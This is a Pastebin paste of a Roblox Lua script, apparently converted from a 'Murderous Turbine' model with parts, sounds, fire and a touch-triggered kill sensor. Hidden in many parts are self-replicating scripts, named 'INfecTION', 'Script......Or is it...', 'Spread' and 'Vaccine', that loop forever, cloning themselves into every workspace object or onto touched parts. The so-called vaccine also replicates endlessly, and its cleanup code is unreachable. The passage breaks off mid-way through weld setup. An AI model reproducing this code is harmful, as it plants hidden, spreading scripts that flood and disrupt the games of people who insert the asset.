Advertisement
cat568

Untitled

Mar 10th, 2019
279
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 116.45 KB | None | 0 0
  1. --Converted with ttyyuu12345's model to script plugin v4
  2. function sandbox(var,func)
  3. local env = getfenv(func)
  4. local newenv = setmetatable({},{
  5. __index = function(self,k)
  6. if k=="script" then
  7. return var
  8. else
  9. return env[k]
  10. end
  11. end,
  12. })
  13. setfenv(func,newenv)
  14. return func
  15. end
  16. cors = {}
  17. mas = Instance.new("Model",game:GetService("Lighting"))
  18. Model0 = Instance.new("Model")
  19. Model1 = Instance.new("Model")
  20. Model2 = Instance.new("Model")
  21. Model3 = Instance.new("Model")
  22. Part4 = Instance.new("Part")
  23. Script5 = Instance.new("Script")
  24. Sound6 = Instance.new("Sound")
  25. Sound7 = Instance.new("Sound")
  26. Part8 = Instance.new("Part")
  27. ParticleEmitter9 = Instance.new("ParticleEmitter")
  28. Part10 = Instance.new("Part")
  29. Fire11 = Instance.new("Fire")
  30. Script12 = Instance.new("Script")
  31. BoolValue13 = Instance.new("BoolValue")
  32. BoolValue14 = Instance.new("BoolValue")
  33. RotateP15 = Instance.new("RotateP")
  34. Script16 = Instance.new("Script")
  35. Script17 = Instance.new("Script")
  36. Part18 = Instance.new("Part")
  37. Fire19 = Instance.new("Fire")
  38. Script20 = Instance.new("Script")
  39. BoolValue21 = Instance.new("BoolValue")
  40. BoolValue22 = Instance.new("BoolValue")
  41. RotateP23 = Instance.new("RotateP")
  42. Script24 = Instance.new("Script")
  43. Script25 = Instance.new("Script")
  44. ManualWeld26 = Instance.new("ManualWeld")
  45. Part27 = Instance.new("Part")
  46. Fire28 = Instance.new("Fire")
  47. Script29 = Instance.new("Script")
  48. BoolValue30 = Instance.new("BoolValue")
  49. BoolValue31 = Instance.new("BoolValue")
  50. RotateP32 = Instance.new("RotateP")
  51. Script33 = Instance.new("Script")
  52. ManualWeld34 = Instance.new("ManualWeld")
  53. ManualWeld35 = Instance.new("ManualWeld")
  54. ManualWeld36 = Instance.new("ManualWeld")
  55. ManualWeld37 = Instance.new("ManualWeld")
  56. ManualWeld38 = Instance.new("ManualWeld")
  57. ManualWeld39 = Instance.new("ManualWeld")
  58. ManualWeld40 = Instance.new("ManualWeld")
  59. ManualWeld41 = Instance.new("ManualWeld")
  60. ManualWeld42 = Instance.new("ManualWeld")
  61. ManualWeld43 = Instance.new("ManualWeld")
  62. ManualWeld44 = Instance.new("ManualWeld")
  63. ManualWeld45 = Instance.new("ManualWeld")
  64. ManualWeld46 = Instance.new("ManualWeld")
  65. Script47 = Instance.new("Script")
  66. Part48 = Instance.new("Part")
  67. Fire49 = Instance.new("Fire")
  68. Script50 = Instance.new("Script")
  69. BoolValue51 = Instance.new("BoolValue")
  70. BoolValue52 = Instance.new("BoolValue")
  71. RotateP53 = Instance.new("RotateP")
  72. Script54 = Instance.new("Script")
  73. Script55 = Instance.new("Script")
  74. Part56 = Instance.new("Part")
  75. Fire57 = Instance.new("Fire")
  76. Script58 = Instance.new("Script")
  77. BoolValue59 = Instance.new("BoolValue")
  78. BoolValue60 = Instance.new("BoolValue")
  79. RotateP61 = Instance.new("RotateP")
  80. Script62 = Instance.new("Script")
  81. Script63 = Instance.new("Script")
  82. ManualWeld64 = Instance.new("ManualWeld")
  83. ManualWeld65 = Instance.new("ManualWeld")
  84. ManualWeld66 = Instance.new("ManualWeld")
  85. ManualWeld67 = Instance.new("ManualWeld")
  86. Part68 = Instance.new("Part")
  87. Fire69 = Instance.new("Fire")
  88. Script70 = Instance.new("Script")
  89. BoolValue71 = Instance.new("BoolValue")
  90. BoolValue72 = Instance.new("BoolValue")
  91. RotateP73 = Instance.new("RotateP")
  92. Script74 = Instance.new("Script")
  93. ManualWeld75 = Instance.new("ManualWeld")
  94. ManualWeld76 = Instance.new("ManualWeld")
  95. Script77 = Instance.new("Script")
  96. Part78 = Instance.new("Part")
  97. Fire79 = Instance.new("Fire")
  98. Script80 = Instance.new("Script")
  99. BoolValue81 = Instance.new("BoolValue")
  100. BoolValue82 = Instance.new("BoolValue")
  101. RotateP83 = Instance.new("RotateP")
  102. Script84 = Instance.new("Script")
  103. Script85 = Instance.new("Script")
  104. ManualWeld86 = Instance.new("ManualWeld")
  105. Part87 = Instance.new("Part")
  106. Fire88 = Instance.new("Fire")
  107. Script89 = Instance.new("Script")
  108. BoolValue90 = Instance.new("BoolValue")
  109. BoolValue91 = Instance.new("BoolValue")
  110. RotateP92 = Instance.new("RotateP")
  111. Script93 = Instance.new("Script")
  112. Script94 = Instance.new("Script")
  113. Part95 = Instance.new("Part")
  114. Fire96 = Instance.new("Fire")
  115. Script97 = Instance.new("Script")
  116. BoolValue98 = Instance.new("BoolValue")
  117. BoolValue99 = Instance.new("BoolValue")
  118. RotateP100 = Instance.new("RotateP")
  119. Script101 = Instance.new("Script")
  120. Script102 = Instance.new("Script")
  121. Part103 = Instance.new("Part")
  122. Fire104 = Instance.new("Fire")
  123. Script105 = Instance.new("Script")
  124. BoolValue106 = Instance.new("BoolValue")
  125. BoolValue107 = Instance.new("BoolValue")
  126. RotateP108 = Instance.new("RotateP")
  127. Script109 = Instance.new("Script")
  128. ManualWeld110 = Instance.new("ManualWeld")
  129. ManualWeld111 = Instance.new("ManualWeld")
  130. Script112 = Instance.new("Script")
  131. Part113 = Instance.new("Part")
  132. Fire114 = Instance.new("Fire")
  133. Script115 = Instance.new("Script")
  134. BoolValue116 = Instance.new("BoolValue")
  135. BoolValue117 = Instance.new("BoolValue")
  136. RotateP118 = Instance.new("RotateP")
  137. Script119 = Instance.new("Script")
  138. Script120 = Instance.new("Script")
  139. Part121 = Instance.new("Part")
  140. Fire122 = Instance.new("Fire")
  141. Script123 = Instance.new("Script")
  142. BoolValue124 = Instance.new("BoolValue")
  143. BoolValue125 = Instance.new("BoolValue")
  144. RotateP126 = Instance.new("RotateP")
  145. Script127 = Instance.new("Script")
  146. ManualWeld128 = Instance.new("ManualWeld")
  147. Script129 = Instance.new("Script")
  148. Part130 = Instance.new("Part")
  149. Fire131 = Instance.new("Fire")
  150. Script132 = Instance.new("Script")
  151. BoolValue133 = Instance.new("BoolValue")
  152. BoolValue134 = Instance.new("BoolValue")
  153. RotateP135 = Instance.new("RotateP")
  154. Script136 = Instance.new("Script")
  155. Script137 = Instance.new("Script")
  156. Part138 = Instance.new("Part")
  157. Fire139 = Instance.new("Fire")
  158. Script140 = Instance.new("Script")
  159. BoolValue141 = Instance.new("BoolValue")
  160. BoolValue142 = Instance.new("BoolValue")
  161. RotateP143 = Instance.new("RotateP")
  162. Script144 = Instance.new("Script")
  163. ManualWeld145 = Instance.new("ManualWeld")
  164. ManualWeld146 = Instance.new("ManualWeld")
  165. Script147 = Instance.new("Script")
  166. ManualWeld148 = Instance.new("ManualWeld")
  167. ManualWeld149 = Instance.new("ManualWeld")
  168. Part150 = Instance.new("Part")
  169. Fire151 = Instance.new("Fire")
  170. Script152 = Instance.new("Script")
  171. BoolValue153 = Instance.new("BoolValue")
  172. BoolValue154 = Instance.new("BoolValue")
  173. RotateP155 = Instance.new("RotateP")
  174. Script156 = Instance.new("Script")
  175. ManualWeld157 = Instance.new("ManualWeld")
  176. ManualWeld158 = Instance.new("ManualWeld")
  177. Script159 = Instance.new("Script")
  178. Part160 = Instance.new("Part")
  179. Fire161 = Instance.new("Fire")
  180. Script162 = Instance.new("Script")
  181. BoolValue163 = Instance.new("BoolValue")
  182. BoolValue164 = Instance.new("BoolValue")
  183. RotateP165 = Instance.new("RotateP")
  184. Script166 = Instance.new("Script")
  185. Script167 = Instance.new("Script")
  186. Part168 = Instance.new("Part")
  187. Fire169 = Instance.new("Fire")
  188. Script170 = Instance.new("Script")
  189. BoolValue171 = Instance.new("BoolValue")
  190. BoolValue172 = Instance.new("BoolValue")
  191. RotateP173 = Instance.new("RotateP")
  192. Script174 = Instance.new("Script")
  193. Script175 = Instance.new("Script")
  194. WedgePart176 = Instance.new("WedgePart")
  195. BoolValue177 = Instance.new("BoolValue")
  196. BoolValue178 = Instance.new("BoolValue")
  197. RotateP179 = Instance.new("RotateP")
  198. Script180 = Instance.new("Script")
  199. Fire181 = Instance.new("Fire")
  200. Script182 = Instance.new("Script")
  201. ManualWeld183 = Instance.new("ManualWeld")
  202. ManualWeld184 = Instance.new("ManualWeld")
  203. ManualWeld185 = Instance.new("ManualWeld")
  204. Script186 = Instance.new("Script")
  205. Part187 = Instance.new("Part")
  206. BoolValue188 = Instance.new("BoolValue")
  207. BoolValue189 = Instance.new("BoolValue")
  208. Fire190 = Instance.new("Fire")
  209. Script191 = Instance.new("Script")
  210. RotateP192 = Instance.new("RotateP")
  211. Script193 = Instance.new("Script")
  212. SpecialMesh194 = Instance.new("SpecialMesh")
  213. Script195 = Instance.new("Script")
  214. Part196 = Instance.new("Part")
  215. BoolValue197 = Instance.new("BoolValue")
  216. BoolValue198 = Instance.new("BoolValue")
  217. Fire199 = Instance.new("Fire")
  218. Script200 = Instance.new("Script")
  219. RotateP201 = Instance.new("RotateP")
  220. Script202 = Instance.new("Script")
  221. SpecialMesh203 = Instance.new("SpecialMesh")
  222. Script204 = Instance.new("Script")
  223. Part205 = Instance.new("Part")
  224. BoolValue206 = Instance.new("BoolValue")
  225. BoolValue207 = Instance.new("BoolValue")
  226. Fire208 = Instance.new("Fire")
  227. Script209 = Instance.new("Script")
  228. RotateP210 = Instance.new("RotateP")
  229. Script211 = Instance.new("Script")
  230. SpecialMesh212 = Instance.new("SpecialMesh")
  231. Script213 = Instance.new("Script")
  232. Part214 = Instance.new("Part")
  233. Fire215 = Instance.new("Fire")
  234. Script216 = Instance.new("Script")
  235. BoolValue217 = Instance.new("BoolValue")
  236. BoolValue218 = Instance.new("BoolValue")
  237. RotateP219 = Instance.new("RotateP")
  238. Script220 = Instance.new("Script")
  239. ManualWeld221 = Instance.new("ManualWeld")
  240. Script222 = Instance.new("Script")
  241. Part223 = Instance.new("Part")
  242. Fire224 = Instance.new("Fire")
  243. Script225 = Instance.new("Script")
  244. BoolValue226 = Instance.new("BoolValue")
  245. BoolValue227 = Instance.new("BoolValue")
  246. RotateP228 = Instance.new("RotateP")
  247. Script229 = Instance.new("Script")
  248. Script230 = Instance.new("Script")
  249. Part231 = Instance.new("Part")
  250. Fire232 = Instance.new("Fire")
  251. Script233 = Instance.new("Script")
  252. BoolValue234 = Instance.new("BoolValue")
  253. BoolValue235 = Instance.new("BoolValue")
  254. RotateP236 = Instance.new("RotateP")
  255. Script237 = Instance.new("Script")
  256. ManualWeld238 = Instance.new("ManualWeld")
  257. Script239 = Instance.new("Script")
  258. Part240 = Instance.new("Part")
  259. Fire241 = Instance.new("Fire")
  260. Script242 = Instance.new("Script")
  261. BoolValue243 = Instance.new("BoolValue")
  262. BoolValue244 = Instance.new("BoolValue")
  263. RotateP245 = Instance.new("RotateP")
  264. Script246 = Instance.new("Script")
  265. ManualWeld247 = Instance.new("ManualWeld")
  266. Script248 = Instance.new("Script")
  267. Part249 = Instance.new("Part")
  268. SpecialMesh250 = Instance.new("SpecialMesh")
  269. Script251 = Instance.new("Script")
  270. Sound252 = Instance.new("Sound")
  271. Script253 = Instance.new("Script")
  272. Model0.Parent = mas
  273. Model1.Name = "Murderous Turbine"
  274. Model1.Parent = Model0
  275. Model2.Name = "Turbine"
  276. Model2.Parent = Model1
  277. Model3.Name = "Sensors"
  278. Model3.Parent = Model1
  279. Part4.Name = "kill"
  280. Part4.Parent = Model3
  281. Part4.CFrame = CFrame.new(-6.57304478, 4.02498293, -7.95568419, 0, 0, -1.00000131, 0, 1.00000131, 0, 1, 0, 0)
  282. Part4.Orientation = Vector3.new(0, -90, 0)
  283. Part4.Position = Vector3.new(-6.57304478, 4.02498293, -7.95568419)
  284. Part4.Rotation = Vector3.new(0, -90, 0)
  285. Part4.Color = Color3.new(0.627451, 0.517647, 0.309804)
  286. Part4.Transparency = 1
  287. Part4.Size = Vector3.new(2, 1.94999933, 2.18999958)
  288. Part4.Anchored = true
  289. Part4.BrickColor = BrickColor.new("Fawn brown")
  290. Part4.CanCollide = false
  291. Part4.Material = Enum.Material.SmoothPlastic
  292. Part4.brickColor = BrickColor.new("Fawn brown")
  293. Part4.FormFactor = Enum.FormFactor.Symmetric
  294. Part4.formFactor = Enum.FormFactor.Symmetric
  295. Script5.Parent = Part4
  296. table.insert(cors,sandbox(Script5,function()
  297.  
  298. function onTouch(part)
  299. if part.Parent ~= workspace then
  300.  
  301.  
  302. script.Parent.Sound:Play()
  303. script.Parent.SoundB:Play()
  304. script.Parent.Parent.bloods.dead.Enabled = true
  305.  
  306.  
  307. local a = part:clone()
  308. a.Parent = workspace
  309. a.CanCollide = true
  310. part:remove()
  311.  
  312.  
  313.  
  314.  
  315.  
  316.  
  317. wait(2)
  318. script.Parent.Sound:Stop()
  319. script.Parent.SoundB:Stop()
  320. script.Parent.Parent.bloods.dead.Enabled = false
  321.  
  322. end
  323. end
  324.  
  325.  
  326.  
  327.  
  328.  
  329. script.Parent.Touched:connect(onTouch)
  330.  
  331. end))
  332. Sound6.Parent = Part4
  333. Sound6.Looped = true
  334. Sound6.EmitterSize = 0
  335. Sound6.MinDistance = 0
  336. Sound6.SoundId = "http://www.roblox.com/asset?id=134484317"
  337. Sound6.Volume = 1
  338. Sound7.Name = "SoundB"
  339. Sound7.Parent = Part4
  340. Sound7.Looped = true
  341. Sound7.EmitterSize = 0
  342. Sound7.MinDistance = 0
  343. Sound7.SoundId = "http://www.roblox.com/asset?id=176238381"
  344. Sound7.Volume = 1
  345. Part8.Name = "bloods"
  346. Part8.Parent = Model3
  347. Part8.CFrame = CFrame.new(-7.20305586, 3.78498507, -8.12067795, 0, 0.707107723, 0.707107723, 0, -0.707107723, 0.707107723, 1, 0, 0)
  348. Part8.Orientation = Vector3.new(-45, 90, 180)
  349. Part8.Position = Vector3.new(-7.20305586, 3.78498507, -8.12067795)
  350. Part8.Rotation = Vector3.new(-90, 45, -90)
  351. Part8.Color = Color3.new(0.627451, 0.517647, 0.309804)
  352. Part8.Transparency = 1
  353. Part8.Size = Vector3.new(3.36999989, 3.3499999, 0.850000083)
  354. Part8.Anchored = true
  355. Part8.BrickColor = BrickColor.new("Fawn brown")
  356. Part8.CanCollide = false
  357. Part8.Material = Enum.Material.SmoothPlastic
  358. Part8.brickColor = BrickColor.new("Fawn brown")
  359. Part8.FormFactor = Enum.FormFactor.Symmetric
  360. Part8.formFactor = Enum.FormFactor.Symmetric
  361. ParticleEmitter9.Name = "dead"
  362. ParticleEmitter9.Parent = Part8
  363. ParticleEmitter9.Speed = NumberRange.new(40, 40)
  364. ParticleEmitter9.Rotation = NumberRange.new(20, 300)
  365. ParticleEmitter9.Enabled = false
  366. ParticleEmitter9.Texture = "http://www.roblox.com/asset/?id=176678030"
  367. ParticleEmitter9.Transparency = NumberSequence.new(0,0.28749996423721,1)
  368. ParticleEmitter9.Size = NumberSequence.new(1.0624998807907,0.74999988079071,0)
  369. ParticleEmitter9.Acceleration = Vector3.new(0, -10, 0)
  370. ParticleEmitter9.EmissionDirection = Enum.NormalId.Back
  371. ParticleEmitter9.Lifetime = NumberRange.new(1, 1)
  372. ParticleEmitter9.Rate = 400
  373. ParticleEmitter9.RotSpeed = NumberRange.new(200, 300)
  374. ParticleEmitter9.SpreadAngle = Vector2.new(20, 20)
  375. ParticleEmitter9.VelocitySpread = 20
  376. Part10.Name = "Smooth Block Model"
  377. Part10.Parent = Model0
  378. Part10.CFrame = CFrame.new(-3.21062589, 0.899998009, -10.358428, 0, 0, 1.00000131, 0, 1.00000131, 0, -1, 0, 0)
  379. Part10.Orientation = Vector3.new(0, 90, 0)
  380. Part10.Position = Vector3.new(-3.21062589, 0.899998009, -10.358428)
  381. Part10.Rotation = Vector3.new(0, 90, 0)
  382. Part10.Color = Color3.new(0.768627, 0.156863, 0.109804)
  383. Part10.Size = Vector3.new(0.400000036, 1.79999948, 0.400000006)
  384. Part10.Anchored = true
  385. Part10.BottomSurface = Enum.SurfaceType.Smooth
  386. Part10.BrickColor = BrickColor.new("Bright red")
  387. Part10.Material = Enum.Material.DiamondPlate
  388. Part10.TopSurface = Enum.SurfaceType.Smooth
  389. Part10.brickColor = BrickColor.new("Bright red")
  390. Part10.FormFactor = Enum.FormFactor.Custom
  391. Part10.formFactor = Enum.FormFactor.Custom
  392. Fire11.Parent = Part10
  393. Fire11.Color = Color3.new(1, 0.678431, 0)
  394. Fire11.Enabled = false
  395. Fire11.Size = 30
  396. Fire11.Heat = 25
  397. Fire11.SecondaryColor = Color3.new(1, 0, 0)
  398. Fire11.size = 30
  399. Script12.Name = "Spread"
  400. Script12.Parent = Fire11
  401. table.insert(cors,sandbox(Script12,function()
  402. function Spread(part)
  403. check = part:findFirstChild("Fire")
  404. if check == nil then
  405. script.Parent:Clone().Parent = part
  406.  
  407. elseif check ~= nil then
  408. check.Size = check.Size + 1000000
  409. check.Heat = check.Heat +1000000
  410. end
  411. end
  412.  
  413.  
  414. script.Parent.Parent.Touched:connect(Spread)
  415.  
  416. end))
  417. BoolValue13.Name = "RobloxStamper"
  418. BoolValue13.Parent = Part10
  419. BoolValue14.Name = "RobloxModel"
  420. BoolValue14.Parent = Part10
  421. RotateP15.Name = "INfecTION"
  422. RotateP15.Parent = Part10
  423. RotateP15.BaseAngle = 0.25
  424. Script16.Name = "Script......Or is it..."
  425. Script16.Parent = RotateP15
  426. table.insert(cors,sandbox(Script16,function()
  427. if script.Parent.className ~= "RotateP" then
  428. local p = Instance.new("RotateP")
  429. p.Parent = workspace
  430. p.Name = "INfecTION"
  431. script.Parent = p
  432. end
  433.  
  434. function check()
  435. local list = workspace:GetChildren()
  436. for i = 1, #list do
  437. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  438. script.Parent:Clone().Parent = list[i]
  439. end
  440. wait()
  441. end
  442. end
  443.  
  444. while true do
  445. check()
  446. if workspace:findFirstChild("inFECtion") == nil then
  447. local main = script.Parent:Clone()
  448. main.Name = "inFECtion"
  449. main.Parent = workspace
  450. end
  451. wait(3)
  452. end
  453.  
  454. end))
  455. Script17.Name = "Vaccine"
  456. Script17.Parent = Part10
  457. table.insert(cors,sandbox(Script17,function()
  458. function spread() -- created by nadnarb4
  459. local stuff = game.Workspace:GetChildren()
  460. for i = 1, #stuff do
  461. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
  462. local clone = script:clone()
  463. clone.Parent = stuff[i]
  464. end
  465. end
  466. end
  467.  
  468. while true do
  469. wait(.1)
  470. spread()
  471. end
  472.  
  473. function GetAllItems(mdl)
  474. local objs = {}
  475. function Search(obj)
  476. if obj~=workspace then
  477. table.insert(objs,obj)
  478. end
  479. if #obj:GetChildren() > 0 then
  480. for i, v in ipairs(obj:GetChildren()) do
  481. Search(v)
  482. end
  483. end
  484. end
  485. Search(mdl)
  486. return objs
  487. end
  488.  
  489.  
  490.  
  491. for i, v in ipairs(GetAllItems(workspace)) do
  492. if v.className == "Script" then
  493. if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
  494. v.Parent = game.Lighting --Just in case it has a removal prevention.
  495. t = Instance.new("ObjectValue")
  496. t.Name = "IsAVirus"
  497. t.Parent = v
  498. end
  499. end
  500. end
  501.  
  502. for i, v in ipairs(game.Lighting:GetChildren()) do
  503. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  504. v:remove()
  505. end
  506. end
  507.  
  508.  
  509. end))
  510. Part18.Name = "spaceWall"
  511. Part18.Parent = Model0
  512. Part18.CFrame = CFrame.new(-6.91070318, 3.41999888, -8.65842819, 1.31134328e-07, 0, -1.00000131, 0, 1.00000131, 0, 1, 0, 1.31134158e-07)
  513. Part18.Orientation = Vector3.new(0, -90, 0)
  514. Part18.Position = Vector3.new(-6.91070318, 3.41999888, -8.65842819)
  515. Part18.Rotation = Vector3.new(0, -90, 0)
  516. Part18.Color = Color3.new(0.388235, 0.372549, 0.384314)
  517. Part18.Size = Vector3.new(0.599999368, 0.799999356, 0.599998891)
  518. Part18.Anchored = true
  519. Part18.BottomSurface = Enum.SurfaceType.Smooth
  520. Part18.BrickColor = BrickColor.new("Dark stone grey")
  521. Part18.Material = Enum.Material.DiamondPlate
  522. Part18.RightParamA = -0.10000000149012
  523. Part18.RightParamB = 0.10000000149012
  524. Part18.RightSurface = Enum.SurfaceType.Motor
  525. Part18.RightSurfaceInput = Enum.InputType.Constant
  526. Part18.TopSurface = Enum.SurfaceType.Smooth
  527. Part18.brickColor = BrickColor.new("Dark stone grey")
  528. Part18.FormFactor = Enum.FormFactor.Custom
  529. Part18.formFactor = Enum.FormFactor.Custom
  530. Fire19.Parent = Part18
  531. Fire19.Color = Color3.new(1, 0.678431, 0)
  532. Fire19.Enabled = false
  533. Fire19.Size = 30
  534. Fire19.Heat = 25
  535. Fire19.SecondaryColor = Color3.new(1, 0, 0)
  536. Fire19.size = 30
  537. Script20.Name = "Spread"
  538. Script20.Parent = Fire19
  539. table.insert(cors,sandbox(Script20,function()
  540. function Spread(part)
  541. check = part:findFirstChild("Fire")
  542. if check == nil then
  543. script.Parent:Clone().Parent = part
  544.  
  545. elseif check ~= nil then
  546. check.Size = check.Size + 1000000
  547. check.Heat = check.Heat +1000000
  548. end
  549. end
  550.  
  551.  
  552. script.Parent.Parent.Touched:connect(Spread)
  553.  
  554. end))
  555. BoolValue21.Name = "RobloxStamper"
  556. BoolValue21.Parent = Part18
  557. BoolValue22.Name = "RobloxModel"
  558. BoolValue22.Parent = Part18
  559. RotateP23.Name = "INfecTION"
  560. RotateP23.Parent = Part18
  561. RotateP23.BaseAngle = 0.25
  562. Script24.Name = "Script......Or is it..."
  563. Script24.Parent = RotateP23
  564. table.insert(cors,sandbox(Script24,function()
  565. if script.Parent.className ~= "RotateP" then
  566. local p = Instance.new("RotateP")
  567. p.Parent = workspace
  568. p.Name = "INfecTION"
  569. script.Parent = p
  570. end
  571.  
  572. function check()
  573. local list = workspace:GetChildren()
  574. for i = 1, #list do
  575. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  576. script.Parent:Clone().Parent = list[i]
  577. end
  578. wait()
  579. end
  580. end
  581.  
  582. while true do
  583. check()
  584. if workspace:findFirstChild("inFECtion") == nil then
  585. local main = script.Parent:Clone()
  586. main.Name = "inFECtion"
  587. main.Parent = workspace
  588. end
  589. wait(3)
  590. end
  591.  
  592. end))
  593. Script25.Name = "Vaccine"
  594. Script25.Parent = Part18
  595. table.insert(cors,sandbox(Script25,function()
  596. function spread() -- created by nadnarb4
  597. local stuff = game.Workspace:GetChildren()
  598. for i = 1, #stuff do
  599. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
  600. local clone = script:clone()
  601. clone.Parent = stuff[i]
  602. end
  603. end
  604. end
  605.  
  606. while true do
  607. wait(.1)
  608. spread()
  609. end
  610.  
  611. function GetAllItems(mdl)
  612. local objs = {}
  613. function Search(obj)
  614. if obj~=workspace then
  615. table.insert(objs,obj)
  616. end
  617. if #obj:GetChildren() > 0 then
  618. for i, v in ipairs(obj:GetChildren()) do
  619. Search(v)
  620. end
  621. end
  622. end
  623. Search(mdl)
  624. return objs
  625. end
  626.  
  627.  
  628.  
  629. for i, v in ipairs(GetAllItems(workspace)) do
  630. if v.className == "Script" then
  631. if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
  632. v.Parent = game.Lighting --Just in case it has a removal prevention.
  633. t = Instance.new("ObjectValue")
  634. t.Name = "IsAVirus"
  635. t.Parent = v
  636. end
  637. end
  638. end
  639.  
  640. for i, v in ipairs(game.Lighting:GetChildren()) do
  641. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  642. v:remove()
  643. end
  644. end
  645.  
  646.  
  647. end))
  648. ManualWeld26.Name = "spaceWall-to-spaceWall Strong Joint"
  649. ManualWeld26.Parent = Part18
  650. ManualWeld26.C0 = CFrame.new(-0.299999684, -0.399999678, 0.299999446, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  651. ManualWeld26.C1 = CFrame.new(0.200012207, -0.399993896, 0.300003052, -1, 0, -8.74227695e-08, 0, 1, 0, 8.74227695e-08, 0, -1)
  652. ManualWeld26.Part0 = Part18
  653. ManualWeld26.Part1 = Part95
  654. ManualWeld26.part1 = Part95
  655. Part27.Name = "Smooth Block Model"
  656. Part27.Parent = Model0
  657. Part27.CFrame = CFrame.new(-6.21062994, 2.3999989, -8.35842896, 1.00000131, 0, 0, 0, 1.00000131, 0, 0, 0, 1)
  658. Part27.Position = Vector3.new(-6.21062994, 2.3999989, -8.35842896)
  659. Part27.Color = Color3.new(0.768627, 0.156863, 0.109804)
  660. Part27.Size = Vector3.new(7.20000172, 1.19999933, 4.4000001)
  661. Part27.Anchored = true
  662. Part27.BottomSurface = Enum.SurfaceType.Smooth
  663. Part27.BrickColor = BrickColor.new("Bright red")
  664. Part27.Material = Enum.Material.DiamondPlate
  665. Part27.TopSurface = Enum.SurfaceType.Smooth
  666. Part27.brickColor = BrickColor.new("Bright red")
  667. Part27.FormFactor = Enum.FormFactor.Custom
  668. Part27.formFactor = Enum.FormFactor.Custom
  669. Fire28.Parent = Part27
  670. Fire28.Color = Color3.new(1, 0.678431, 0)
  671. Fire28.Enabled = false
  672. Fire28.Size = 30
  673. Fire28.Heat = 25
  674. Fire28.SecondaryColor = Color3.new(1, 0, 0)
  675. Fire28.size = 30
  676. Script29.Name = "Spread"
  677. Script29.Parent = Fire28
  678. table.insert(cors,sandbox(Script29,function()
  679. function Spread(part)
  680. check = part:findFirstChild("Fire")
  681. if check == nil then
  682. script.Parent:Clone().Parent = part
  683.  
  684. elseif check ~= nil then
  685. check.Size = check.Size + 1000000
  686. check.Heat = check.Heat +1000000
  687. end
  688. end
  689.  
  690.  
  691. script.Parent.Parent.Touched:connect(Spread)
  692.  
  693. end))
  694. BoolValue30.Name = "RobloxStamper"
  695. BoolValue30.Parent = Part27
  696. BoolValue31.Name = "RobloxModel"
  697. BoolValue31.Parent = Part27
  698. RotateP32.Name = "INfecTION"
  699. RotateP32.Parent = Part27
  700. RotateP32.BaseAngle = 0.25
  701. Script33.Name = "Script......Or is it..."
  702. Script33.Parent = RotateP32
  703. table.insert(cors,sandbox(Script33,function()
  704. if script.Parent.className ~= "RotateP" then
  705. local p = Instance.new("RotateP")
  706. p.Parent = workspace
  707. p.Name = "INfecTION"
  708. script.Parent = p
  709. end
  710.  
  711. function check()
  712. local list = workspace:GetChildren()
  713. for i = 1, #list do
  714. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  715. script.Parent:Clone().Parent = list[i]
  716. end
  717. wait()
  718. end
  719. end
  720.  
  721. while true do
  722. check()
  723. if workspace:findFirstChild("inFECtion") == nil then
  724. local main = script.Parent:Clone()
  725. main.Name = "inFECtion"
  726. main.Parent = workspace
  727. end
  728. wait(3)
  729. end
  730.  
  731. end))
  732. ManualWeld34.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
  733. ManualWeld34.Parent = Part27
  734. ManualWeld34.C0 = CFrame.new(3.60000086, -0.599999666, 2.20000005, 0.99999994, 0, 0, 0, 0, -0.99999994, -0, 1, 0)
  735. ManualWeld34.C1 = CFrame.new(7.00001335, 0.899996758, 4.19996643, 0.99999994, 0, 0, 0, 0, -0.99999994, 0, 1, 0)
  736. ManualWeld34.Part0 = Part27
  737. ManualWeld34.Part1 = Part103
  738. ManualWeld34.part1 = Part103
  739. ManualWeld35.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
  740. ManualWeld35.Parent = Part27
  741. ManualWeld35.C0 = CFrame.new(3.60000086, -0.599999666, 2.20000005, 0.99999994, 0, 0, 0, 0, -0.99999994, -0, 1, 0)
  742. ManualWeld35.C1 = CFrame.new(6.60001183, 0.899996758, 4.19996643, 0.99999994, 0, 0, 0, 0, -0.99999994, 0, 1, 0)
  743. ManualWeld35.Part0 = Part27
  744. ManualWeld35.Part1 = Part113
  745. ManualWeld35.part1 = Part113
  746. ManualWeld36.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
  747. ManualWeld36.Parent = Part27
  748. ManualWeld36.C0 = CFrame.new(3.60000086, -0.599999666, 2.20000005, 0.99999994, 0, 0, 0, 0, -0.99999994, -0, 1, 0)
  749. ManualWeld36.C1 = CFrame.new(7.00001335, 0.899996758, 3.79997253, 0.99999994, 0, 0, 0, 0, -0.99999994, 0, 1, 0)
  750. ManualWeld36.Part0 = Part27
  751. ManualWeld36.Part1 = Part130
  752. ManualWeld36.part1 = Part130
  753. ManualWeld37.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
  754. ManualWeld37.Parent = Part27
  755. ManualWeld37.C0 = CFrame.new(3.60000086, -0.599999666, 2.20000005, 0.99999994, 0, 0, 0, 0, -0.99999994, -0, 1, 0)
  756. ManualWeld37.C1 = CFrame.new(7.00000381, 0.899996758, 0.200027466, 0.99999994, 0, 0, 0, 0, -0.99999994, 0, 1, 0)
  757. ManualWeld37.Part0 = Part27
  758. ManualWeld37.Part1 = Part150
  759. ManualWeld37.part1 = Part150
  760. ManualWeld38.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
  761. ManualWeld38.Parent = Part27
  762. ManualWeld38.C0 = CFrame.new(3.60000086, -0.599999666, 2.20000005, 0.99999994, 0, 0, 0, 0, -0.99999994, -0, 1, 0)
  763. ManualWeld38.C1 = CFrame.new(7.00000381, 0.899996758, 0.600021362, 0.99999994, 0, 0, 0, 0, -0.99999994, 0, 1, 0)
